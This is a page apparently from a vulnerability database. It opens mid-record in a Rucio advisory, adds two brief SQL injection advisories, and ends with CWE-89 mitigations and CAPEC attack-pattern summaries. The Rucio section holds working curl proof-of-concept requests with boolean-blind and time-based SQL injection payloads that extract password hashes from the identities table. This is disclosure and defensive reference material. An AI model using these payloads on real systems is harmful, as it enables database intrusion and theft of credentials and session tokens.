\u0027https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%201%20ELSE%200%20END%20FROM%20dual)%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b\u0027\n```\n\n**URL-decoded filter value:**\n```\nx\")\u0027) OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)=\u0027a\u0027 THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,\u0027$?(@.a == \"b\n```\n\n**Generated SQL inside `text()`:**\n```sql\njson_exists(meta,\u0027$?(@.custom_key == \"x\")\u0027) OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)=\u0027a\u0027 THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,\u0027$?(@.a == \"b\")\u0027)\n```\n\n**Expected result:**\n- If the first character of the first password hash is `\u0027a\u0027`: rows are returned (subquery returns 1, `1=1` is true, OR makes WHERE true)\n- Otherwise: no rows from the subquery disjunct (but the dummy `json_exists` AND scope disjunct may still match scoped rows \u2014 the attacker distinguishes by response row count)\n- Repeat for each character position and value to extract the full hash\n\n#### 4. Time-based blind injection (alternative extraction)\n\n```bash\ncurl -s -k -o /dev/null -w \"%{time_total}\" \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \u0027https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%20DBMS_PIPE.RECEIVE_MESSAGE(%27x%27%2C5)%20ELSE%200%20END%20FROM%20dual)%3D5%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b\u0027\n```\n\n**URL-decoded filter value:**\n```\nx\")\u0027) OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)=\u0027a\u0027 THEN DBMS_PIPE.RECEIVE_MESSAGE(\u0027x\u0027,5) ELSE 0 END FROM dual)=5 OR json_exists(meta,\u0027$?(@.a == \"b\n```\n\n**Expected result:**\n- If condition is true: response delayed by ~5 seconds\n- If condition is false: immediate response\n- More reliable extraction channel than boolean-based when row counts are ambiguous\n\n#### 5. Alternative entry via `filters` query parameter\n\n```bash\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \u0027https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%5C%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%5C%22b%22%7D%5D\u0027\n```\n\n**URL-decoded:** `filters=[{\"custom_key\": \"x\\\"\u0027) OR 1=1 OR json_exists(meta,\u0027$?(@.a == \\\"b\"}]`\n\n---\n\n### Impact\n\n**Vulnerability type:** SQL Injection (CWE-89)\n\n**Who is impacted:**\n\n- **All Oracle-based Rucio deployments** using the default metadata plugin configuration (`json_meta`).\n- ***Not affected*** are PostgreSQL/MySQL deployments using the default `json_meta` plugin (SQLAlchemy parameterizes the JSON path operations via bind parameters on non-Oracle dialects).\n\n**What an attacker can do:**\n\n- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies).\n- **Password hash extraction:** Combined with Rucio\u0027s use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.\n- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.\n- **Data modification:** Oracle PL/SQL enables `INSERT`/`UPDATE`/`DELETE` operations via DML within subqueries and PL/SQL blocks.\n- **Potential remote code execution:** Via Oracle\u0027s `UTL_HTTP`, `DBMS_SCHEDULER`, or Java stored procedures if the database user has elevated privileges.\n\n**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/\u003cscope\u003e/dids/search` endpoint is available to all authenticated users.",
  "id": "GHSA-vjr5-c9qv-hgm3",
  "modified": "2026-06-30T16:42:55Z",
  "published": "2026-05-06T16:42:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/security/advisories/GHSA-vjr5-c9qv-hgm3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29080"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-vjr5-c9qv-hgm3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/rucio/PYSEC-2026-528.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rucio/rucio"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/rucio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rucio has SQL Injection in FilterEngine Oracle JSON Path via DID Search API"
}

GHSA-VJVP-PP6V-GJCF

Vulnerability from github – Published: 2024-02-09 15:31 – Updated: 2024-02-12 15:30
VLAI
Details

Code-projects Simple School Managment System 1.0 allows SQL Injection via the 'apass' parameter at "School/index.php."

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-25304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-09T13:15:41Z",
    "severity": "HIGH"
  },
  "details": "Code-projects Simple School Managment System 1.0 allows SQL Injection via the \u0027apass\u0027 parameter at \"School/index.php.\"",
  "id": "GHSA-vjvp-pp6v-gjcf",
  "modified": "2024-02-12T15:30:23Z",
  "published": "2024-02-09T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25304"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tubakvgc/CVEs/blob/main/Simple%20School%20Management%20System/Simple%20School%20Managment%20System%20-%20SQL%20Injection%20-2.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VJVQ-9GWR-6Q2P

Vulnerability from github – Published: 2023-11-02 15:30 – Updated: 2023-11-02 15:30
VLAI
Details

Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The 'id' parameter of the routers/edit-orders.php resource does not validate the characters received and they are sent unfiltered to the database.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-45335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-02T14:15:12Z",
    "severity": "CRITICAL"
  },
  "details": "Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The \u0027id\u0027 parameter of the routers/edit-orders.php resource does not validate the characters received and they are sent unfiltered to the database.\n\n",
  "id": "GHSA-vjvq-9gwr-6q2p",
  "modified": "2023-11-02T15:30:26Z",
  "published": "2023-11-02T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45335"
    },
    {
      "type": "WEB",
      "url": "https://fluidattacks.com/advisories/hann"
    },
    {
      "type": "WEB",
      "url": "https://projectworlds.in"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.

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